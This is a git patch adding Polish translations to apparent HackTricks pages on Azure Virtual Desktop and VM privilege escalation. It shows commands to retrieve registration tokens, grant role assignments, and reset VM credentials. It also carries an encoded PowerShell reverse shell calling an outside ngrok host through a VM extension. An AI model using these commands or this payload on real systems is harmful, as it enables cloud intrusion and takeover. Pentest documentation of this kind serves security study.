From 02cfdb71c4ec8fc68ceef22ea2378a6a7a5b4c2d Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 26 Feb 2025 16:08:31 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az --- src/SUMMARY.md | 3 +- .../az-virtual-desktop-post-exploitation.md | 21 +++ .../az-virtual-desktop-privesc.md | 26 ++-- ...az-virtual-machines-and-network-privesc.md | 20 ++- .../az-services/az-virtual-desktop.md | 134 +++++++++++------- 5 files changed, 138 insertions(+), 66 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 17ab8f63d..54f1ce76a 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -454,7 +454,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -465,6 +465,7 @@ - [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md) - [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md) - [Az - SQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md) + - [Az - Virtual Desktop Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md) - [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md) - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md new file mode 100644 index 000000000..4a269eeae --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md @@ -0,0 +1,21 @@ +# Az - VMs & Network Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Wirtualny Pulpit + +Aby uzyskać więcej informacji na temat Wirtualnego Pulpitu, sprawdź następującą stronę: + +{{#ref}} +../az-services/az-virtual-desktop.md +{{#endref}} + +### Powszechne techniki + +- Nadpisz **pakiet MSIX z konta magazynowego**, aby uzyskać RCE w dowolnej VM korzystającej z tej aplikacji. +- W remoteapp możliwe jest zmienienie **ścieżki do binarnego pliku do wykonania**. +- **Ucieczka z aplikacji** do powłoki, aby uzyskać RCE. +- Każdy atak po eksploatacji i utrzymanie z **Azure VMs.** +- Możliwe jest **skonfigurowanie skryptu do wykonania** w puli, aby zastosować niestandardowe konfiguracje. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md index e2992ddaa..f9775eb79 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md @@ -4,14 +4,24 @@ ## Azure Virtual Desktop Privesc +Aby uzyskać więcej informacji na temat Azure Virtual Desktop, sprawdź: + +{{#ref}} +../az-services/az-virtual-desktop.md +{{#endref}} + + ### `Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action` -Możesz pobrać token rejestracji używany do rejestrowania maszyn wirtualnych w obrębie puli hostów. +Możesz pobrać token rejestracyjny używany do rejestrowania maszyn wirtualnych w obrębie puli hostów. ```bash az desktopvirtualization hostpool retrieve-registration-token -n testhostpool -g Resource_Group_1 ``` -### ("Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleAssignments/write") && ("Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write") +### Microsoft.Authorization/roleAssignments/read, Microsoft.Authorization/roleAssignments/write -Dzięki tym uprawnieniom możesz dodać przypisanie użytkownika do grupy aplikacji, co jest potrzebne do uzyskania dostępu do maszyny wirtualnej wirtualnego pulpitu. +> [!WARNING] +> Atakujący z tymi uprawnieniami mógłby zrobić rzeczy znacznie bardziej niebezpieczne niż ta. + +Z tymi uprawnieniami możesz dodać przypisanie użytkownika do grupy aplikacji, co jest potrzebne do uzyskania dostępu do maszyny wirtualnej wirtualnego pulpitu: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.DesktopVirtualization/applicationGroups//providers/Microsoft.Authorization/roleAssignments/?api-version=2022-04-01" \ @@ -22,12 +32,6 @@ az rest --method PUT \ } }' ``` -Dodatkowo możesz zmienić użytkownika i hasło maszyny wirtualnej, aby uzyskać do niej dostęp. -```bash -az vm user update \ ---resource-group \ ---name \ ---username \ ---password -``` +Zauważ, że aby użytkownik mógł uzyskać dostęp do pulpitu lub aplikacji, potrzebuje również roli `Virtual Machine User Login` lub `Virtual Machine Administrator Login` na VM. + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index d86527b3f..4f1955504 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -4,7 +4,7 @@ ## VMS i Sieć -Aby uzyskać więcej informacji na temat Maszyn Wirtualnych i Sieci w Azure, sprawdź: +Aby uzyskać więcej informacji na temat Maszyn Wirtualnych i Sieci Azure, sprawdź: {{#ref}} ../az-services/vms/ @@ -65,7 +65,7 @@ az vm extension set \ --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` -- Wykonaj powłokę odwrotną z pliku +- Wykonaj odwrotną powłokę z pliku ```bash az vm extension set \ --resource-group \ @@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredConfigurationState (DSC) -Jest to **rozszerzenie VM** należące do Microsoft, które wykorzystuje PowerShell DSC do zarządzania konfiguracją maszyn wirtualnych Windows w Azure. Dlatego można je wykorzystać do **wykonywania dowolnych poleceń** w maszynach wirtualnych Windows za pomocą tego rozszerzenia: +To jest **rozszerzenie VM**, które należy do Microsoft i wykorzystuje PowerShell DSC do zarządzania konfiguracją maszyn wirtualnych Windows w Azure. Dlatego może być używane do **wykonywania dowolnych poleceń** w maszynach wirtualnych Windows za pomocą tego rozszerzenia: ```bash # Content of revShell.ps1 Configuration RevShellConfig { @@ -163,7 +163,7 @@ To jest rozszerzenie VM, które umożliwia wykonywanie runbooków w VM z konta a ### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)` -To są wymagane uprawnienia do **utworzenia nowej aplikacji w galerii i jej uruchomienia wewnątrz VM**. Aplikacje w galerii mogą wykonywać cokolwiek, więc atakujący mógłby to wykorzystać do kompromitacji instancji VM wykonujących dowolne polecenia. +To są wymagane uprawnienia do **utworzenia nowej aplikacji w galerii i jej wykonania wewnątrz VM**. Aplikacje w galerii mogą wykonywać cokolwiek, więc atakujący mógłby to wykorzystać do kompromitacji instancji VM wykonujących dowolne polecenia. Ostatnie 2 uprawnienia mogą być unikane przez udostępnienie aplikacji najemcy. @@ -349,8 +349,18 @@ Następnie atakujący musi **w jakiś sposób skompromitować VM**, aby ukraść https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm {{#endref}} +### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write" + +Te uprawnienia pozwalają na zmianę użytkownika i hasła maszyny wirtualnej, aby uzyskać do niej dostęp: +```bash +az vm user update \ +--resource-group \ +--name \ +--username \ +--password +``` ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action -Zgodnie z [**dokumentacją**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), ta uprawnienie pozwala zarządzać systemem operacyjnym zasobu za pomocą Windows Admin Center jako administrator. Wygląda na to, że to daje dostęp do WAC w celu kontrolowania VM... +Zgodnie z [**dokumentacją**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), ta uprawnienie pozwala zarządzać systemem operacyjnym twojego zasobu za pomocą Windows Admin Center jako administrator. Wygląda na to, że to daje dostęp do WAC w celu kontrolowania maszyn wirtualnych... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md b/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md index dbf1f269d..847783101 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md +++ b/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md @@ -4,61 +4,105 @@ ## Azure Virtual Desktop -Virtual Desktop to **usługa wirtualizacji pulpitu i aplikacji**. Umożliwia zdalne dostarczanie pełnych pulpitów Windows, w tym Windows 11, Windows 10 lub Windows Server do użytkowników, zarówno jako indywidualne pulpity, jak i poprzez indywidualne aplikacje. Obsługuje konfiguracje jednosesyjnych dla użytku osobistego oraz środowiska wielosesyjne. Użytkownicy mogą łączyć się z praktycznie dowolnego urządzenia, korzystając z aplikacji natywnych lub przeglądarki internetowej. +Virtual Desktop to **usługa wirtualizacji pulpitu i aplikacji**. Umożliwia zdalne dostarczanie pełnych pulpitów Windows, w tym Windows 11, Windows 10 lub Windows Server do użytkowników, zarówno jako indywidualne pulpity, jak i poprzez indywidualne aplikacje. Obsługuje konfiguracje jednosesyjnych dla użytku osobistego oraz środowiska wielosesyjne. Użytkownicy mogą łączyć się z praktycznie każdego urządzenia, korzystając z aplikacji natywnych lub przeglądarki internetowej. ### Host Pools Host pools w Azure Virtual Desktop to zbiory maszyn wirtualnych Azure skonfigurowanych jako hosty sesji, dostarczające wirtualne pulpity i aplikacje użytkownikom. Istnieją dwa główne typy: -- **Personal host pools**, gdzie każda maszyna wirtualna jest dedykowana dla jednego użytkownika, z własnymi środowiskami -- **Pooled host pools**, gdzie wielu użytkowników dzieli zasoby na dowolnym dostępnym hoście sesji. Ma konfigurowalny limit sesji, a konfiguracja hosta sesji pozwala Azure Virtual Desktop automatyzować tworzenie hostów sesji na podstawie konfiguracji. -Każdy host pool ma **token rejestracyjny**, który jest używany do rejestrowania maszyn wirtualnych w ramach host pool. +- **Osobiste host pools**, w których każda maszyna wirtualna jest dedykowana dla jednego użytkownika. +- Można skonfigurować, aby **administrator mógł przypisać** określonych użytkowników do VM lub aby odbywało się to **automatycznie**. +- To idealne rozwiązanie dla osób z intensywnymi obciążeniami, ponieważ każda osoba będzie miała swoją własną VM. Ponadto będą mogli przechowywać pliki i konfigurować ustawienia na dysku OS, a te będą utrzymywane, ponieważ **każdy użytkownik ma swoją własną VM (host)**. -### Application groups & Workspace -Grupy aplikacji **kontrolują dostęp użytkowników** do pełnego pulpitu lub określonych zestawów aplikacji dostępnych na hostach sesji w ramach host pool. Istnieją dwa typy: -- **Desktop application groups**, które dają użytkownikom dostęp do pełnego pulpitu Windows (dostępne zarówno w personal, jak i pooled host pools) -- **RemoteApp groups**, które pozwalają użytkownikom na dostęp do indywidualnych opublikowanych aplikacji (dostępne tylko w pooled host pools). -Host pool może mieć jedną grupę aplikacji Desktop, ale wiele grup RemoteApp. Użytkownicy mogą być przypisani do wielu grup aplikacji w różnych host pools. Jeśli użytkownik jest przypisany zarówno do grup desktop, jak i RemoteApp w tym samym host pool, widzi tylko zasoby z preferowanego typu grupy ustawionego przez administratorów. +- **Pooled host pools**, w których wielu **użytkowników dzieli zasoby** na dostępnych hostach sesji. +- Można skonfigurować **maksymalną liczbę użytkowników** (sesji) na hosta. +- Można **ręcznie dodać VM** za pomocą kluczy rejestracyjnych lub **pozwolić Azure na automatyczne skalowanie** liczby hostów bez możliwości dodawania VM za pomocą klucza rejestracyjnego. Nie można automatycznie skalować VM dla osobistych pooli. +- Aby utrzymać pliki w sesjach użytkowników, należy użyć **FSlogix**. -**Workspace** to **zbiór grup aplikacji**, umożliwiający użytkownikom dostęp do pulpitów i grup aplikacji przypisanych do nich. Każda grupa aplikacji musi być powiązana z workspace, a może należeć tylko do jednego workspace w danym czasie. +### Session Hosts + +To są **VM, do których będą łączyć się użytkownicy.** + +- Jeśli wybrano automatyczne skalowanie, zostanie utworzony szablon z **cechami hostów**, które należy utworzyć dla puli. +- Jeśli nie, podczas tworzenia Host pool można wskazać **cechy i liczbę VM**, które chcesz utworzyć, a Azure utworzy i doda je za Ciebie. + +Główne funkcje do **konfigurowania VM** to: + +- **prefiks** nazwy nowych VM +- **typ VM**: Może to być „maszyna wirtualna Azure” (do użycia VM Azure) lub „lokalna maszyna wirtualna Azure”, która pozwala na wdrażanie hostów w siedzibie lub na krawędzi. +- lokalizacja, strefy, opcje zabezpieczeń VM, obraz, CPU, pamięć, rozmiar dysku… +- **VNet, grupa zabezpieczeń i porty** do wystawienia na internet +- Można ustawić dane uwierzytelniające do automatycznego **dołączenia do domeny AD** lub użyć katalogu Entra ID +- Jeśli Entra ID, można automatycznie **zarejestrować nową VM w Intune** +- Należy ustawić **nazwę użytkownika administratora i hasło**, chyba że Azure będzie skalować hosty, w takim przypadku **sekret musi być skonfigurowany z nazwą użytkownika i innym z hasłem** +- Można **skonfigurować skrypt do wykonania** dla niestandardowej konfiguracji + +### Application Groups + +**Grupy aplikacji** kontrolują dostęp użytkowników do pełnego pulpitu lub określonych zestawów aplikacji dostępnych na hostach sesji w obrębie puli hostów. + +Istnieją dwa typy grup aplikacji: + +- **Grupy aplikacji pulpitu**, które dają użytkownikom dostęp do pełnych pulpitów Windows i podłączonych aplikacji. +- **Grupy RemoteApp**, które pozwalają użytkownikom na dostęp do pojedynczych aplikacji. +- Nie można przypisać tego rodzaju grupy aplikacji do Puli Osobistej. +- Należy wskazać ścieżkę do binarnego pliku do wykonania wewnątrz VM. + +Pooled Pool może mieć **jedną grupę aplikacji pulpitu** i **wiele grup RemoteApp**, a użytkownicy mogą być przypisani do wielu grup aplikacji w różnych pulach hostów. + +Gdy użytkownik **otrzymuje dostęp**, przyznawana jest mu rola **`Desktop Virtualization User`** w grupie aplikacji. + +### Workspaces & Connections + +**Workspace** to zbiór grup aplikacji. + +Aby **połączyć się** z pulpitem lub aplikacjami przypisanymi, można to zrobić z [https://windows365.microsoft.com/ent#/devices](https://windows365.microsoft.com/ent#/devices) +A istnieją inne metody opisane na [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client) + +Gdy użytkownik uzyskuje dostęp do swojego konta, zostanie **przedstawiony oddzielnie według workspace wszystkiego, do czego ma dostęp**. Dlatego należy dodać **każdą grupę aplikacji do jednego workspace**, aby zdefiniowane dostępy były widoczne. + +Aby użytkownik mógł uzyskać dostęp do pulpitu lub aplikacji, potrzebuje również roli **`Virtual Machine User Login`** lub **`Virtual Machine Administrator Login`** w odniesieniu do VM. + +### Managed Identities + +Nie można przypisać zarządzanych tożsamości do host pools, więc utworzone VM w obrębie puli będą je miały. +Jednak możliwe jest **przypisanie systemowych i użytkownikowych zarządzanych tożsamości do VM** i następnie uzyskanie dostępu do tokenów z metadanych. W rzeczywistości, po uruchomieniu host pools z sieci, 2 wygenerowane VM mają włączoną systemową przypisaną tożsamość zarządzaną (chociaż nie mają żadnych uprawnień). -### Key Features -- **Flexible VM Creation**: Twórz maszyny wirtualne Azure bezpośrednio lub dodawaj lokalne maszyny wirtualne Azure później. -- **Security Features**: Włącz Trusted Launch (bezpieczne uruchamianie, vTPM, monitorowanie integralności) dla zaawansowanego bezpieczeństwa VM (wymagana jest wirtualna sieć). Może integrować Azure Firewall i kontrolować ruch za pomocą grup zabezpieczeń sieci. -- **Domain Join**: Wsparcie dla dołączeń do domeny Active Directory z konfigurowalnymi ustawieniami. -- **Diagnostics & Monitoring**: Włącz ustawienia diagnostyczne, aby przesyłać logi i metryki do Log Analytics, kontenerów magazynowych lub hubów zdarzeń w celu monitorowania. -- **Custom image templates**: Twórz i zarządzaj nimi do użycia przy dodawaniu hostów sesji. Łatwo dodawaj wspólne dostosowania lub własne skrypty. -- **Workspace Registration**: Łatwo rejestruj domyślne grupy aplikacji desktopowych do nowych lub istniejących workspace dla uproszczonego zarządzania dostępem użytkowników. ### Enumeration ```bash az extension add --name desktopvirtualization -# List HostPool of a Resource group -az desktopvirtualization hostpool list --resource-group +# List HostPools +az desktopvirtualization hostpool list + +# List Workspaces +az desktopvirtualization workspace list # List Application Groups -az desktopvirtualization applicationgroup list --resource-group -# List Application Groups By Subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/applicationGroups?api-version=2024-04-03" +az desktopvirtualization applicationgroup list + # List Applications in a Application Group az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/applications?api-version=2024-04-03" + +# Check if Desktops are enabled +az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03" + # List Assigned Users to the Application Group az rest \ --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.DesktopVirtualization/applicationGroups//providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \ | jq '.value[] | select((.properties.scope | ascii_downcase) == "/subscriptions//resourcegroups//providers/microsoft.desktopvirtualization/applicationgroups/")' +# List hosts +az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03" -# List Workspace in a resource group -az desktopvirtualization workspace list --resource-group -# List Workspace in a subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/workspaces?api-version=2024-04-03" - -# List App Attach Package By Resource Group +# List App Attach packages az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03" -# List App Attach Package By Subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03" + +# List user sessions +az rest --method GET --url "https://management.azure.com/ssubscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostpools/{hostPoolName}/sessionhosts/{hostPoolHostName}/userSessions?api-version=2024-04-03" + # List Desktops az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03" @@ -68,35 +112,27 @@ az rest --method GET --url "https://management.azure.com/subscriptions/{subscrip # List private endpoint connections associated with hostpool. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateEndpointConnections?api-version=2024-04-03" + # List private endpoint connections associated By Workspace. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateEndpointConnections?api-version=2024-04-03" # List the private link resources available for a hostpool. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateLinkResources?api-version=2024-04-03" + # List the private link resources available for this workspace. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateLinkResources?api-version=2024-04-03" - -# List sessionHosts/virtual machines. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03" - -# List start menu items in the given application group. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/startMenuItems?api-version=2024-04-03" - -# List userSessions. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts/{sessionHostName}/userSessions?api-version=2024-04-03" -# List userSessions By Host Pool -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/userSessions?api-version=2024-04-03" - ``` -### Połączenie - -Aby połączyć się z wirtualnym pulpitem przez sieć, możesz uzyskać dostęp przez https://client.wvd.microsoft.com/arm/webclient/ (najczęściej używane) lub https://client.wvd.microsoft.com/webclient/index.html (klasyczne) -Istnieją inne metody, które są opisane tutaj [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows) - ## Privesc -{{#ref}} -../az-privilege-escalation/az-virtual-desktop-privesc.md +{{#ref}} +../az-privilege-escalation/az-virtual-desktop-privesc.md {{#endref}} +## Post Exploitation & Persistence + +{{#ref}} +../az-post-exploitation/az-virtual-desktop-post-exploitation.md +{{#endref}} + + {{#include ../../../banners/hacktricks-training.md}}